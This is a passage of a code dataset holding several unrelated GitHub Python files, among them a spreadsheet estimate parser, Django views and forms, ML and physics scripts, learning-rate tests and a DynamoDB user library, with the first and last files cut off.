row\n elif (\n isinstance(target_value, str)\n and \"Итого по разделу\" in target_value\n and self.chapter_start\n ):\n EstimateBaseTemplate.CHAPTERS.append((self.chapter_start, row))\n self.chapter_start = None\n\n # Поиск подвала\n if EstimateBaseTemplate.CHAPTERS:\n for row in range(\n EstimateBaseTemplate.CHAPTERS[-1][1], self.__ws.max_row + 1\n ):\n target_value = self.__ws.cell(row, 1).value\n if isinstance(target_value, str) and \"ИТОГИ ПО СМЕТЕ:\" in target_value:\n self.footer_start = row\n elif (\n isinstance(target_value, str)\n and \"ВСЕГО по смете\" in target_value\n and self.footer_start\n ):\n EstimateBaseTemplate.FOOTER = (self.footer_start, row)\n self.footer_start = None\n else:\n for row in range(1, self.__ws.max_row + 1):\n target_value = self.__ws.cell(row, 1).value\n if (\n isinstance(target_value, str)\n and \"Итого прямые затраты по смете в текущих ценах\" in target_value\n ):\n self.footer_start = row\n elif (\n isinstance(target_value, str)\n and \"ВСЕГО по смете\" in target_value\n and self.footer_start\n ):\n EstimateBaseTemplate.FOOTER = (self.footer_start, row)\n self.footer_start = None\n\n def read_rows(self):\n rows_black_list = []\n if EstimateBaseTemplate.CHAPTERS:\n for chapter in EstimateBaseTemplate.CHAPTERS:\n rows_black_list.extend(range(chapter[0], chapter[1] + 1))\n if EstimateBaseTemplate.FOOTER:\n rows_black_list.extend(\n range(\n EstimateBaseTemplate.FOOTER[0], EstimateBaseTemplate.FOOTER[1] + 1\n )\n )\n\n for row in range(self.content_start_from, self.__ws.max_row + 1):\n if row not in rows_black_list and row <= rows_black_list[-1]:\n current_row_values = [\n self.__ws.cell(row, col).value\n for col in range(1, self.__ws.max_column + 1)\n ]\n\n nn_value = self.__ws.cell(row, 1).value\n reason_value = self.__ws.cell(row, 2).value\n unit_value = self.__ws.cell(row, 4).value\n\n # Раздел\n if isinstance(nn_value, str) and \"Раздел\" in nn_value:\n self.rows.append(Chapter(current_row_values))\n\n # Подраздел\n elif (\n isinstance(nn_value, str)\n and \"Раздел\" not in nn_value\n and not unit_value\n ):\n self.has_subchapters = True\n self.rows.append(Subchapter(current_row_values))\n\n # Работа\n elif (\n isinstance(reason_value, str)\n and nn_value\n and \"ГЭСН\" in reason_value\n ):\n self.rows.append(Work(current_row_values))\n\n # Материал\n elif (\n isinstance(reason_value, str)\n and nn_value\n and nn_value != \"Н\"\n and \"ГЭСН\" not in reason_value\n ):\n self.rows.append(Material(current_row_values))\n\n # МиМ\n elif (\n isinstance(reason_value, str)\n and not nn_value\n and \"маш.час\" in unit_value\n ):\n self.rows.append(MiM(current_row_values))\n","repo_name":"sdregster/estimates_reader","sub_path":"src/modules/get_estimates_data.py","file_name":"get_estimates_data.py","file_ext":"py","file_size_in_byte":7250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4565495995","text":"import pytest\n\nfrom pathlib import Path\n\n\n@pytest.mark.workflow(name='test_trim_adapters_on_fastq_pair')\ndef test_trim_adapters_on_fastq_pair_trimstats_match(test_data_dir, workflow_dir, skip_lines_match):\n actual_trimstats_path = workflow_dir / Path('test-output/trimstats.txt')\n expected_trimstats_path = test_data_dir / Path('dnase/trimming/trimstats.txt')\n assert skip_lines_match(actual_trimstats_path.as_posix(), expected_trimstats_path.as_posix(), 9)\n","repo_name":"ENCODE-DCC/dnase-seq-pipeline","sub_path":"tests/integration/test_cutadapt.py","file_name":"test_cutadapt.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"26757041194","text":"from django.forms import ModelForm, ModelChoiceField\nfrom django.forms.widgets import RadioSelect\n\nfrom suggestions.models import Suggestion, Recipient\n\n\nclass AddSuggestionForm(ModelForm):\n \"\"\"Form to show a suggestion.\"\"\"\n\n recipient = ModelChoiceField(\n Recipient.objects,\n empty_label=None,\n widget = RadioSelect,\n )\n\n class Meta:\n model = Suggestion\n fields = ['suggestion', 'recipient']","repo_name":"maxelrod/suggestion-box","sub_path":"project/suggestions/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37927139681","text":"##------------------------------------------------------------\r\n##\r\n## beer_text_clustering.py: Cluster Beer Styles by Review Text\r\n##\r\n## Purpose: Load a csv of about 75,000 beer reviews with\r\n## corresponding beer styles, and cluster based on\r\n## text features created from reviews of such beers\r\n## via the SVD principle components.\r\n##\r\n## Created: Feb, 2016\r\n##\r\n##------------------------------------------------------------\r\n# Load libraries\r\nimport logging\r\nimport datetime\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.cm as cm\r\nfrom matplotlib.font_manager import FontProperties\r\nfrom importlib import reload\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.decomposition import TruncatedSVD\r\nimport text_clustering_funs\r\n\r\n\r\ndef main(input_file, text, target, output_file=None, num_components=2, plot_output=False):\r\n # Check 2d for plotting:\r\n if plot_output:\r\n assert(num_components == 2)\r\n\r\n # Load Data\r\n logging.info('Loading data file: ' + input_file)\r\n review_data = text_clustering_funs.csv_to_lists(input_file)\r\n\r\n # Extract Reviews and Styles\r\n reviews = [d[text] for d in review_data]\r\n styles = [d[target] for d in review_data]\r\n\r\n # Perform text normalization\r\n logging.info('Starting Analysis') # All the user really needs to know.\r\n logging.debug('Performing Text Normalization') # But we need to know where we are and how long we are taking\r\n reviews = text_clustering_funs.normalize(reviews, ['punctuation', 'numbers', 'stopwords', 'whitespace', 'lower'])\r\n\r\n # Create text features from reviews (straight from scikit documentation here)\r\n logging.debug('Creating Text Features')\r\n count_vect = CountVectorizer()\r\n X_train_counts = count_vect.fit_transform(reviews)\r\n\r\n # Transform data by SVD, store first X components\r\n logging.debug('Performing SVD and returning ' + str(num_components) + ' components.')\r\n svd_algo = TruncatedSVD(n_components=num_components, random_state=42)\r\n X_transformed = svd_algo.fit_transform(X_train_counts)\r\n\r\n # Plot average for each group\r\n if plot_output:\r\n logging.info('Plotting data')\r\n fontP = FontProperties()\r\n fontP.set_size('small')\r\n unique_styles = list(set(styles))\r\n colors = cm.rainbow(np.linspace(0, 1, len(unique_styles)))\r\n for i, style in enumerate(unique_styles):\r\n points = [val for ix, val in enumerate(X_transformed) if styles[ix] == style]\r\n avg_x = np.mean([p[0] for p in points])\r\n avg_y = np.mean([p[1] for p in points])\r\n col = colors[i]\r\n plt.plot(avg_x, avg_y, color=col, marker='o', ls='', label=style, markersize=20)\r\n plt.text(avg_x, avg_y, s=style, size='x-small')\r\n # And because 'old ale' is an outlier...\r\n plt.ylim([-0.6,-0.1])\r\n plt.xlim([0.6,1.3])\r\n plt.show()\r\n\r\n # Output Results:\r\n if output_file:\r\n logging.info('Saving results to output: ' + output_file)\r\n np.savetxt(output_file, X_transformed, delimiter=',')\r\n\r\nif __name__ == \"__main__\":\r\n # Setup Logging\r\n today = datetime.date.today().strftime(\"%Y_%m_%d\")\r\n log_file_name = 'log_' + today + '.log'\r\n\r\n logging.shutdown()\r\n reload(logging)\r\n logger = logging.getLogger()\r\n log_format = logging.Formatter(\"%(asctime)s - [%(levelname)-5.5s] %(message)s\")\r\n\r\n # Setup file logging\r\n log_file_handle = logging.FileHandler(log_file_name)\r\n log_file_handle.setFormatter(log_format)\r\n log_file_handle.setLevel(logging.DEBUG)\r\n logger.addHandler(log_file_handle)\r\n # Setup screen logging\r\n log_screen_handle = logging.StreamHandler()\r\n log_screen_handle.setFormatter(log_format)\r\n log_screen_handle.setLevel(logging.DEBUG)\r\n logger.addHandler(log_screen_handle)\r\n\r\n # To-do: Make the following inputs into system arguments:\r\n input_file = 'beer_reviews.csv'\r\n text = 'review'\r\n target = 'style'\r\n output_file = 'my_results.csv'\r\n num_components = 2\r\n plot_logical = True\r\n\r\n # Run analysis\r\n main(input_file, text, target, output_file, num_components, plot_logical)\r\n","repo_name":"nfmcclure/beer_clustering","sub_path":"beer_text_clustering.py","file_name":"beer_text_clustering.py","file_ext":"py","file_size_in_byte":4217,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"39420807913","text":"from django.shortcuts import render\nfrom django.utils import timezone\nfrom .models import Partner\nfrom django.core.mail import send_mail\nfrom mysite.settings import EMAIL_HOST_USER\n\n\ndef index(request):\n\treturn render(request, 'onboard/onboard.html')\n\ndef submitOnboard(request):\n\ttry:\n\t\tfname = request.POST['fname']\n\t\tlname = request.POST['lname']\n\t\taddress = request.POST['address']\n\t\tcity = request.POST['city']\n\t\tstate = request.POST['state']\n\t\tzipcode = request.POST['zip']\n\t\temail = request.POST['email']\n\t\tphone_number = request.POST['phone_number']\n\t\ttimestamp = timezone.now()\n\n\texcept KeyError:\n\t\treturn render(request, 'onboard/onboard.html')\n\n\telse:\n\t\tpartner = Partner(\n\t\t\t\tfname=fname,\n\t\t\t\tlname=lname,\n\t\t\t\taddress=address, \n\t\t\t\tcity=city, \n\t\t\t\tstate=state, \n\t\t\t\tzipcode=zipcode,\n\t\t\t\temail=email, \n\t\t\t\tphone_number=phone_number,\n\t\t\t\ttimestamp=timestamp)\n\t\tpartner.save()\n\t\tsend_mail('New onboard request', str(partner), EMAIL_HOST_USER, [EMAIL_HOST_USER])\n\n\t\treturn render(request, 'onboard/success.html')","repo_name":"rbasri/inspecty","sub_path":"onboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19943007494","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nurl = \"https://cf-courses-data.s3.us.cloud-object-storage.appdomain.cloud/IBMDeveloperSkillsNetwork-DA0101EN-Coursera/laptop_pricing_dataset_mod1.csv\"\n\n\n# Load the dataset to a pandas dataframe named 'df' Print the first 5 entries of the dataset to confirm loading.\n\ndf = pd.read_csv(url, header=0)\nprint(df.head(5))\n\n\n# Verify loading by displaying the dataframe summary using dataframe.info()\n\nprint(df.info())\n\n# We can update the Screen_Size_cm column such that all values are rounded to nearest 2 decimal places by using numpy.round()\n\ndf[['Screen_Size_cm']] = np.round(df[['Screen_Size_cm']],2)\n\n# Evaluate the dataset for missing data\n\nmissing_data = df.isnull()\nprint(missing_data.head())\nfor column in missing_data.columns.values.tolist():\n print(column)\n print (missing_data[column].value_counts())\n print(\"\")\n\n# replacing missing data with mean\navg_weight=df['Weight_kg'].astype('float').mean(axis=0)\ndf[\"Weight_kg\"].replace(np.nan, avg_weight, inplace=True)\n\n# astype() function converts the values to the desired data type\n# axis=0 indicates that the mean value is to calculated across all column elements in a row.\n\n# Missing values in attributes that have categorical data are best replaced using the most frequent value. \n# We note that values in \"Screen_Size_cm\" attribute are categorical in nature, and some values are missing. \n# Therefore, write a code to replace the missing values of Screen Size with the most frequent value of the attribute.\n\n# replacing missing data with mode\ncommon_screen_size = df['Screen_Size_cm'].value_counts().idxmax()\ndf[\"Screen_Size_cm\"].replace(np.nan, common_screen_size, inplace=True)\n\n# Fixing the data types\n\ndf[[\"Weight_kg\",\"Screen_Size_cm\"]] = df[[\"Weight_kg\",\"Screen_Size_cm\"]].astype(\"float\")\n\n# Data Standardization - The value of Screen_size usually has a standard unit of inches. Similarly, weight of the laptop is needed to be in pounds. \n# Use the below mentioned units of conversion and write a code to modify the columns of the dataframe accordingly. Update their names as well. \n# 1 inch = 2.54 cm 1 kg = 2.205 pounds\n\n# Data standardization: convert weight from kg to pounds\ndf[\"Weight_kg\"] = df[\"Weight_kg\"]*2.205\ndf.rename(columns={'Weight_kg':'Weight_pounds'}, inplace=True)\n\n# Data standardization: convert screen size from cm to inch\ndf[\"Screen_Size_cm\"] = df[\"Screen_Size_cm\"]*2.54\ndf.rename(columns={'Screen_Size_cm':'Screen_Size_inch'}, inplace=True)\n\n# Data Normalization - Often it is required to normalize a continuous data attribute. Write a code to normalize the \"CPU_frequency\" attribute with respect to the maximum value available in the dataset.\n\ndf['CPU_frequency'] = df['CPU_frequency']/df['CPU_frequency'].max()\n\n# Binning is a process of creating a categorical attribute which splits the values of a continuous data into a specified number of groups. \n# In this case, write a code to create 3 bins for the attribute \"Price\". These bins would be named \"Low\", \"Medium\" and \"High\". The new attribute will be named \"Price-binned\".\n# Also, plot the bar graph of these bins.\n\n\nbins = np.linspace(min(df[\"Price\"]), max(df[\"Price\"]), 4)\ngroup_names = ['Low', 'Medium', 'High']\ndf['Price-binned'] = pd.cut(df['Price'], bins, labels=group_names, include_lowest=True )\n\n\nplt.bar(group_names, df[\"Price-binned\"].value_counts())\nplt.xlabel(\"Price\")\nplt.ylabel(\"count\")\nplt.title(\"Price bins\")\n\n\n\n# draw historgram of attribute \"price\" with bins = 3\nplt.hist(df[\"Price\"], bins = 3)\nplt.xlabel(\"Price\")\nplt.ylabel(\"count\")\nplt.title(\"Price bins\")\n\n\n# Display the histogram <<---------------- show histogram ------------------------<<\nplt.show()\n\n\n\n# Indicator variables - Convert the \"Screen\" attribute of the dataset into 2 indicator variables, \"Screen-IPS_panel\" and \"Screen-Full_HD\". Then drop the \"Screen\" attribute from the dataset.\n\n\n#Indicator Variable: Screen\ndummy_variable_1 = pd.get_dummies(df[\"Screen\"])\ndummy_variable_1.rename(columns={'IPS Panel':'Screen-IPS_panel', 'Full HD':'Screen-Full_HD'}, inplace=True)\ndf = pd.concat([df, dummy_variable_1], axis=1)\n\n# drop original column \"Screen\" from \"df\"\ndf.drop(\"Screen\", axis = 1, inplace=True)\n\nprint(df.head())\n\n\n","repo_name":"Marcin-Lewandowski/Data_Science","sub_path":"laptops_pricing.py","file_name":"laptops_pricing.py","file_ext":"py","file_size_in_byte":4245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18075278707","text":"from ..utils import errors\nfrom ..utils import json_reader\nfrom ..parser.json import optimizer_parser\n\nclass Optimizer:\n def __init__(self, model, hyperparameter_spec_file):\n self.__model = model\n self.__hyperparameter_spec_file = hyperparameter_spec_file\n\n self.__hyperparameter_spec = None\n self.__optimizer = self.__parse_optimizer()\n\n def __read_optimizer_from_json(self):\n return json_reader.JSONReader.read_json(\n json_file_path=self.__hyperparameter_spec_file,\n error_class=errors.HyperparameterFileNotFound,\n error_message=f\"{self.__hyperparameter_spec_file} not found, make sure you pass correct hyperparameter specification file!\"\n )\n\n def __parse_optimizer(self):\n self.__hyperparameter_spec = self.__read_optimizer_from_json()\n\n optimizer_dict = self.__hyperparameter_spec.pop('optimizer')\n optimizer = optimizer_parser.OptimizerParser.parse_optimizer(model=self.__model, optimizer_dict=optimizer_dict)\n\n return optimizer\n\n @property\n def optimizer(self):\n return self.__optimizer","repo_name":"frankhart2018/torchwt","sub_path":"torchwt/engine/components/optimizer.py","file_name":"optimizer.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"17800134600","text":"import numpy as np\r\nimport math as kel4\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n# No 2B\r\n\r\n#Memasukan nilai yang diketahui\r\nk = 1.3806e-23 #konstanta boltzman\r\nm = 3.3471e-27 #massa H2\r\nT = 100 #asumsikan jika suhu 100 K\r\n\r\n#Mendefinisikan persamaan dan print hasil\r\ndef f1():\r\n v = ((8*k*T)/(kel4.pi*m))**0.5\r\n print(f'Maka kecepatan rata-rata partikel H2 yang bergerak pada saat T = {T} K adalah, = {v} m/s')\r\nf1()\r\n\r\ndef f2():\r\n vrms = (3*k*T/m)**0.5\r\n print(f'Maka kecepatan rms partikel H2 yang bergerak pada saat T = {T} K adalah, vrms = {vrms} m/s')\r\nf2()\r\n\r\n# No 3B\r\n#Memasukan nilai yang diketahui\r\ny = 10 #meter\r\nx = 0 #meter\r\nθ = 60 #derajat\r\nm = 1.5 #kg\r\nKd = 1.05\r\nvo = 100 #m/s\r\ng = 9.81 #m/s^2\r\nh = 0.005\r\nt = 0\r\n\r\n#Set kondisi inisial\r\nvx = vo*np.cos(np.radians(θ))\r\nvy = vo*np.sin(np.radians(θ))\r\nxf = []\r\nyf = []\r\nvxf = []\r\nvyf = []\r\ntf = []\r\n\r\nwhile (y >= 0) :\r\n v = np.sqrt((vx**2)+(vy)**2)\r\n ax = -Kd*v*vx\r\n ay = -g - Kd*v*vy\r\n xf.append(x)\r\n yf.append(y)\r\n vxf.append(vx)\r\n vyf.append(vy)\r\n tf.append(t)\r\n \r\n x_half = x + vx*h/2\r\n y_half = y +vy*h/2\r\n \r\n vx_half = vx + ax*h/2\r\n vy_half = vy + ay*h/2\r\n \r\n v_half = np.sqrt((vx_half**2)+(vy_half**2))\r\n ax_half = -Kd*v_half*vx_half\r\n ay_half = -g-Kd*v_half*vy_half\r\n \r\n x += h*vx_half\r\n y += h*vy_half\r\n \r\n vx += h*ax_half\r\n vy += h*ay_half\r\n t += h\r\n \r\nn = len(tf)\r\nprint(\"t\",\" \"*10,\"x\", \" \"*9, \"y\",\" \"*8, \"vx\",\" \"*8, \"vy\")\r\nfor i in range(n):\r\n print(\"%.3f %10.5f %10.5f %10.4f %10.4f\" %(tf[i],xf[i],yf[i],vxf[i], vyf[i]))\r\n\r\n# No 3C dan 3D\r\nx_1 = 0\r\ny_1 = 10\r\nt_1 = 0\r\nvo_1= 250\r\nh_1 = 0.001\r\nvx_1 = vo_1*np.cos(np.radians(θ))\r\nvy_1 = vo_1*np.sin(np.radians(θ))\r\nxf_1 = []\r\nyf_1 = []\r\ntf_1 = []\r\n\r\nwhile (y_1 >= 0) :\r\n v_1 = np.sqrt((vx_1**2)+(vy_1)**2)\r\n ax_1 = -Kd*v_1*vx_1\r\n ay_1 = -g - Kd*v_1*vy_1\r\n xf_1.append(x_1)\r\n yf_1.append(y_1)\r\n tf_1.append(t_1)\r\n \r\n x_half1 = x_1 + vx_1*h_1/2\r\n y_half1 = y_1 +vy_1*h_1/2\r\n \r\n vx_half1 = vx_1 + ax_1*h_1/2\r\n vy_half1 = vy_1 + ay_1*h_1/2\r\n \r\n v_half1 = np.sqrt((vx_half1**2)+(vy_half1**2))\r\n ax_half1 = -Kd*v_half1*vx_half1\r\n ay_half1 = -g-Kd*v_half1*vy_half1\r\n \r\n x_1 += h_1*vx_half1\r\n y_1 += h_1*vy_half1\r\n \r\n vx_1 += h_1*ax_half1\r\n vy_1 += h_1*ay_half1\r\n t_1 += h_1\r\n \r\nx_2 = 0\r\ny_2 = 10\r\nt_2 = 0\r\nvo_2= 500\r\nh_2 = 0.0001\r\nvx_2 = vo_2*np.cos(np.radians(θ))\r\nvy_2 = vo_2*np.sin(np.radians(θ))\r\nxf_2 = []\r\nyf_2 = []\r\ntf_2 = []\r\n\r\nwhile (y_2 >= 0) :\r\n v_2 = np.sqrt((vx_2**2)+(vy_2)**2)\r\n ax_2 = -Kd*v_2*vx_2\r\n ay_2 = -g - Kd*v_2*vy_2\r\n xf_2.append(x_2)\r\n yf_2.append(y_2)\r\n tf_2.append(t_2)\r\n \r\n x_half2 = x_1 + vx_2*h_2/2\r\n y_half2 = y_1 +vy_2*h_2/2\r\n \r\n vx_half2 = vx_2 + ax_2*h_2/2\r\n vy_half2 = vy_2 + ay_2*h_2/2\r\n \r\n v_half2 = np.sqrt((vx_half2**2)+(vy_half2**2))\r\n ax_half2 = -Kd*v_half2*vx_half2\r\n ay_half2 = -g-Kd*v_half2*vy_half2\r\n \r\n x_2 += h_2*vx_half2\r\n y_2 += h_2*vy_half2\r\n \r\n vx_2 += h_2*ax_half2\r\n vy_2 += h_2*ay_half2\r\n t_2 += h_2\r\n \r\nfig,ax = plt.subplots(1, figsize=(12,8))\r\nplt.plot(xf,yf, label = \"v0 = 100 m/s\", color = 'red')\r\nplt.plot(xf_1,yf_1, label = \"v0 = 250 m/s\", color = 'green')\r\nplt.plot(xf_2,yf_2, label = \"v0 = 500 m/s\", color = 'blue')\r\n\r\nplt.legend()\r\nplt.grid()\r\nplt.title(\"Plot Jalur Gerakan Kotak pada Ketiga Variasi Kecepatan\")\r\nplt.xlabel('x(m)')\r\nplt.ylabel('y(m)')\r\nplt.show()\r\n\r\nprint(\"Saat kecepatan 100 m/s, jarak pada sumbu x ketika bola jatuh yaitu\", xf[-1],\"meter\", \"pada detik ke\", tf[-1])\r\nprint(\"Saat kecepatan 250 m/s, jarak pada sumbu x ketika bola jatuh yaitu\", xf_1[-1],\"meter\", \"pada detik ke\", tf_1[-1])\r\nprint(\"Saat kecepatan 500 m/s, jarak pada sumbu x ketika bola jatuh yaitu\", xf_2[-1],\"meter\", \"pada detik ke\", tf_2[-1])","repo_name":"aHaiqal/00-Python-Belajar-Python-","sub_path":"00 - Python/OOP/Kelas B UAS.py","file_name":"Kelas B UAS.py","file_ext":"py","file_size_in_byte":3851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4767945398","text":"import os\nimport tempfile\nimport unittest\n\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\n\nimport utils\nfrom training import lr_schedule, get_lr_scheduler\n\n\nclass TestTraining(unittest.TestCase):\n def test_plot_lr_schedules(self):\n plt.figure()\n for args in ['--warmup=5 --lr=5e-1 --train-steps=10 --epochs=90 --cosine-decay ',\n '--warmup=5 --lr=5e-1 --train-steps=10 --epochs=90 --lr-decays 30 60 80 ']:\n args = utils.parser.parse_args(args.split())\n\n lr_scheduler = get_lr_scheduler(args)\n\n x, y = [], []\n for step in range(args.train_steps * args.epochs):\n x.append(step)\n y.append(lr_scheduler(step).numpy())\n plt.plot(x, y, label='cosine-decay' if args.cosine_decay else 'piecewise-decay')\n plt.legend()\n plt.savefig('out/lr_schedules.jpg')\n\n def test_lr_schedule(self):\n args = '--warmup=5 --lr=5e-1 --lr-decays 30 60 80 --train-steps=1000'\n args = utils.parser.parse_args(args.split())\n lr_scheduler = lr_schedule.PiecewiseConstantDecayWithWarmup(args.lr, args.train_steps, args.warmup,\n args.lr_decays)\n\n for step, tar_lr in [(0, 0), (1, 5e-1 / 5000), (2, 10e-1 / 5000), (5000, 5e-1), (30001, 5e-2), (60001, 5e-3),\n (80001, 5e-4)]:\n lr = lr_scheduler(step)\n tf.debugging.assert_equal(lr, tf.constant(tar_lr, dtype=lr.dtype), message=f'step {step}: {lr} vs {tar_lr}')\n\n def test_no_warmup_lr_schedule(self):\n args = '--lr=5e-1 --lr-decays 30 60 80 --train-steps=1000'\n args = utils.parser.parse_args(args.split())\n lr_scheduler = lr_schedule.PiecewiseConstantDecayWithWarmup(args.lr, args.train_steps, args.warmup,\n args.lr_decays)\n\n for step, tar_lr in [(0, 5e-1), (1, 5e-1), (2, 5e-1), (5000, 5e-1), (30001, 5e-2), (60001, 5e-3),\n (80001, 5e-4)]:\n lr = lr_scheduler(step)\n tf.debugging.assert_equal(lr, tf.constant(tar_lr, dtype=lr.dtype), message=f'step {step}: {lr} vs {tar_lr}')\n\n def test_save_load_lr_schedule(self):\n args = '--warmup=5 --lr=5e-1 --lr-decays 30 60 80 --train-steps=1000'\n args = utils.parser.parse_args(args.split())\n lr_scheduler = lr_schedule.PiecewiseConstantDecayWithWarmup(args.lr, args.train_steps, args.warmup,\n args.lr_decays)\n optimizer = tf.keras.optimizers.SGD(lr_scheduler)\n inputs = tf.keras.Input([1])\n outputs = tf.keras.layers.Dense(1)(inputs)\n model = tf.keras.Model(inputs, outputs)\n model.compile(optimizer=optimizer)\n model_path = os.path.join(tempfile.gettempdir(), 'model')\n model.save(model_path)\n loaded_model = tf.keras.models.load_model(model_path, custom_objects=utils.all_custom_objects)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"aigagror/hiercon","sub_path":"tf_tests/test_training.py","file_name":"test_training.py","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5609982790","text":"import math\nimport time\n\ndef primzahlen(bis):\n max_faktor = math.ceil(math.sqrt(bis))\n ergebnis = []\n gestrichen = [False] * bis\n \n for i in range(2, max_faktor+1):\n #print(\"starte bei\", i)\n if not gestrichen[i]:\n for j in range(i*2, bis, i):\n #print(\"streiche\", j)\n gestrichen[j] = True\n #else:\n #print(i, \"ist schon gestrichen\")\n \n for i in range(2, bis):\n if not gestrichen[i]:\n ergebnis.append(i)\n return ergebnis\n\n#Hauptprogramm\nt1 = time.time()\np = primzahlen(1000000)\nt2 = time.time()\nprint(\"dauer:\", t2-t1)\n\nprint(p)\n\n","repo_name":"MaschinenNah/oc2023","sub_path":"04zahlentheorie/02_sieb_des_eratosthenes.py","file_name":"02_sieb_des_eratosthenes.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74592389264","text":"import boto3\r\nimport botocore\r\nfrom boto3.dynamodb.conditions import Key, Attr\r\n\r\ndynamodb = boto3.resource('dynamodb')\r\n\r\nuser_table = dynamodb.Table('users')\r\ndrawing_table = dynamodb.Table('drawings')\r\nid_table = dynamodb.Table('ids')\r\nNUMTAGS = 5\r\nTAGS = [\"0\", \"1\", \"2\", \"3\", \"4\"]\r\n\r\nclass DatabaseException(Exception):\r\n \"\"\"Exception raised for errors in database library.\r\n Attributes:\r\n function -- function error occured in\r\n message -- explanation of the error\r\n \"\"\"\r\n\r\n def __init__(self, function, message=\"error in database library\"):\r\n self.function = function\r\n self.message = message\r\n super().__init__(self.message)\r\n\r\n\r\n##########################################################\r\n############ ################\r\n############ User Table Library ################\r\n############ ################\r\n##########################################################\r\n\r\n\r\ndef create_user(deviceId, userId):\r\n # update user table\r\n try:\r\n user_table.put_item(\r\n Item = {\r\n 'userId': userId,\r\n 'coins': 375,\r\n 'brushes': [\"Basic\"],\r\n 'paints': [\"0\"],\r\n 'baseline': 0,\r\n 'breathCount': 0,\r\n 'backgrounds': [],\r\n 'drawings': [],\r\n 'breathHistory': [],\r\n 'unlimitedExpiration': 0\r\n },\r\n ConditionExpression=Attr('userId').not_exists()\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"create_user\", \"userId already exists\")\r\n # update ids table\r\n try:\r\n id_table.update_item(\r\n Key = {\r\n 'deviceId': deviceId\r\n },\r\n UpdateExpression='SET userId = :b',\r\n # ConditionExpression=Attr('deviceId').eq(deviceId),\r\n ExpressionAttributeValues={ \":b\": userId }\r\n )\r\n except:\r\n raise DatabaseException(\"create_user\", \"deviceId unable to update\")\r\n # try:\r\n # id_table.put_item(\r\n # Item = {\r\n # 'deviceId': deviceId,\r\n # 'userId': userId\r\n # },\r\n # ConditionExpression=Attr('userId').not_exists()\r\n # )\r\n # except botocore.exceptions.ClientError as e:\r\n # if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n # raise\r\n # raise DatabaseException(\"create_user\", \"deviceId unable to update\")\r\n\r\ndef get_user_id(deviceId):\r\n \r\n #return id_table.query(\r\n # KeyConditionExpression=Key('deviceId').eq(deviceId)\r\n #)['Items'][0]['userId']\r\n \r\n \r\n response = id_table.get_item(\r\n Key={'deviceId': deviceId}\r\n )\r\n if ('Item' in response.keys()):\r\n return response['Item']['userId']\r\n else:\r\n raise DatabaseException(\"get_user_id\", \"deviceId does not exist\")\r\n\r\ndef get_user_attr(userId, attrs):\r\n projection = ', '.join(attrs)\r\n response = user_table.get_item(\r\n Key={'userId': userId},\r\n ProjectionExpression=projection\r\n )\r\n if ('Item' in response.keys()):\r\n return response['Item']\r\n else:\r\n raise DatabaseException(\"get_user_attr\", \"userId does not exist\")\r\n\r\ndef add_coins(userId, coins):\r\n try:\r\n user_table.update_item(\r\n Key={\r\n 'userId': userId\r\n },\r\n UpdateExpression='ADD coins :c',\r\n ConditionExpression=Attr('userId').eq(userId),\r\n ExpressionAttributeValues={ \":c\": coins }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"add_coins\", \"userId does not exist\")\r\n \r\ndef add_brush(userId, brushId):\r\n try:\r\n user_table.update_item(\r\n Key={\r\n 'userId': userId\r\n },\r\n UpdateExpression='SET brushes = list_append(brushes, :b)',\r\n ConditionExpression=Attr('userId').eq(userId),\r\n ExpressionAttributeValues={ \":b\": [brushId] }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"add_brush\", \"userId does not exist\")\r\n \r\ndef add_paint(userId, paintId):\r\n try:\r\n user_table.update_item(\r\n Key={\r\n 'userId': userId\r\n },\r\n UpdateExpression='SET paints = list_append(paints, :p)',\r\n ConditionExpression=Attr('userId').eq(userId),\r\n ExpressionAttributeValues={ \":p\": [paintId] }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"add_paints\", \"userId does not exist\")\r\n\r\ndef add_background(userId, backgroundId):\r\n titles = {\r\n \"Flower\": '01',\r\n \"Lady Bug\": '02',\r\n \"Spiral Ball\": '03',\r\n \"Happy Pentapus\": '04',\r\n \"Phoenix\": '05',\r\n \"Lady\": '06',\r\n \"Butterfly\": '07',\r\n \"Sun\": '08',\r\n \"Turtle Tom\": '09',\r\n \"Building\": '10',\r\n \"Ship\": '11',\r\n \"Fighter\": '12',\r\n \"Giraffe\": '13',\r\n \"Pattern 1\": '14',\r\n \"Pattern 2\": '15',\r\n \"Pattern 